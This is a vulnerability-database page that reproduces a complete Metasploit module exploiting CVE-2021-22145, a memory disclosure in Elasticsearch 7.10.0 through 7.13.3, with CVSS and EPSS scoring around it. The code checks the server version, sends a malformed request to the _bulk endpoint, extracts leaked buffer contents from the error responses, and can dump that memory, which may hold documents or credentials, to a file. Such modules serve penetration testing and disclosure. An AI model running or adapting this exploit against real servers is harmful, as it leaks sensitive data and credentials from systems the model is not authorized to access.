Lucene search

K
packetstormH00die, r0ny, Eric Howard, metasploit.comPACKETSTORM:181017
HistorySep 01, 2024 - 12:00 a.m.

Elasticsearch Memory Disclosure

2024-09-0100:00:00
h00die, r0ny, Eric Howard, metasploit.com
packetstormsecurity.com
19
elasticsearch
memory disclosure
vulnerability
exploitable
information security

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

Low

EPSS

0.966

Percentile

99.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
DEDUP_REPEATED_CHARS_THRESHOLD = 400  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Elasticsearch Memory Disclosure',  
'Description' => %q{  
This module exploits a memory disclosure vulnerability in Elasticsearch  
7.10.0 to 7.13.3 (inclusive). A user with the ability to submit arbitrary  
queries to Elasticsearch can generate an error message containing previously  
used portions of a data buffer.  
This buffer could contain sensitive information such as Elasticsearch  
documents or authentication details. This vulnerability's output is similar  
to heartbleed.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Eric Howard', # discovery  
'R0NY' # edb exploit  
],  
'References' => [  
['EDB', '50149'],  
['CVE', '2021-22145'],  
['URL', 'https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177']  
],  
'DisclosureDate' => '2021-07-21',  
'Actions' => [  
['SCAN', { 'Description' => 'Check hosts for vulnerability' }],  
['DUMP', { 'Description' => 'Dump memory contents to loot' }],  
],  
'DefaultAction' => 'SCAN',  
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [] # nothing in the docker logs anyways  
}  
)  
)  
register_options(  
[  
Opt::RPORT(9200),  
OptString.new('USERNAME', [ false, 'User to login with', '']),  
OptString.new('PASSWORD', [ false, 'Password to login with', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Elastic Application', '/']),  
OptInt.new('LEAK_COUNT', [true, 'Number of times to leak memory per SCAN or DUMP invocation', 1])  
]  
)  
end  
  
def get_version  
vprint_status('Querying version information...')  
request = {  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? || datastore['PASSWORD'].present?  
  
res = send_request_cgi(request)  
  
return nil if res.nil?  
return nil if res.code == 401  
  
if res.code == 200 && !res.body.empty?  
json_body = res.get_json_document  
if json_body.empty?  
vprint_error('Unable to parse JSON')  
return  
end  
end  
  
json_body.dig('version', 'number')  
end  
  
def check_host(_ip)  
version = get_version  
return CheckCode::Unknown("#{peer} - Could not connect to web service, or unexpected response") if version.nil?  
  
if Rex::Version.new(version) <= Rex::Version.new('7.13.3') && Rex::Version.new(version) >= Rex::Version.new('7.10.0')  
return Exploit::CheckCode::Appears("Exploitable Version Detected: #{version}")  
end  
  
Exploit::CheckCode::Safe("Unexploitable Version Detected: #{version}")  
end  
  
def leak_count  
datastore['LEAK_COUNT']  
end  
  
# Stores received data  
def loot_and_report(data)  
if data.to_s.empty?  
vprint_error("Looks like there isn't leaked information...")  
return  
end  
  
print_good("Leaked #{data.length} bytes")  
report_vuln({  
host: rhost,  
port: rport,  
name: name,  
refs: references,  
info: "Module #{fullname} successfully leaked info"  
})  
  
if action.name == 'DUMP' # Check mode, dump if requested.  
path = store_loot(  
'elasticsearch.memory.disclosure',  
'application/octet-stream',  
rhost,  
data,  
nil,  
'Elasticsearch server memory'  
)  
print_good("Elasticsearch memory data stored in #{path}")  
end  
  
# Convert non-printable characters to periods  
printable_data = data.gsub(/[^[:print:]]/, '.')  
  
# Keep this many duplicates as padding around the deduplication message  
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round  
  
# Remove duplicate characters  
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|  
s[0, duplicate_pad] +  
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +  
s[-duplicate_pad, duplicate_pad]  
end  
  
# Show abbreviated data  
vprint_status("Printable info leaked:\n#{abbreviated_data}")  
end  
  
def bleed  
request = {  
'uri' => normalize_uri(target_uri.path, '_bulk'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => "@\n"  
}  
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? || datastore['PASSWORD'].present?  
  
res = send_request_cgi(request)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 400  
  
json_body = res.get_json_document  
if json_body.empty?  
vprint_error('Unable to parse JSON')  
return  
end  
leak1 = json_body.dig('error', 'root_cause')  
return if leak1.blank?  
  
leak1 = leak1[0]['reason']  
return if leak1.nil?  
  
leak1 = leak1.split('(byte[])"')[1].split('; line')[0]  
  
leak2 = json_body.dig('error', 'reason')  
return if leak2.nil?  
  
leak2 = leak2.split('(byte[])"')[1].split('; line')[0]  
  
"#{leak1}\n#{leak2}"  
end  
  
def run  
memory = ''  
1.upto(leak_count) do |count|  
vprint_status("Leaking response ##{count}")  
memory << bleed  
end  
loot_and_report(memory)  
end  
end  
`

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

Low

EPSS

0.966

Percentile

99.7%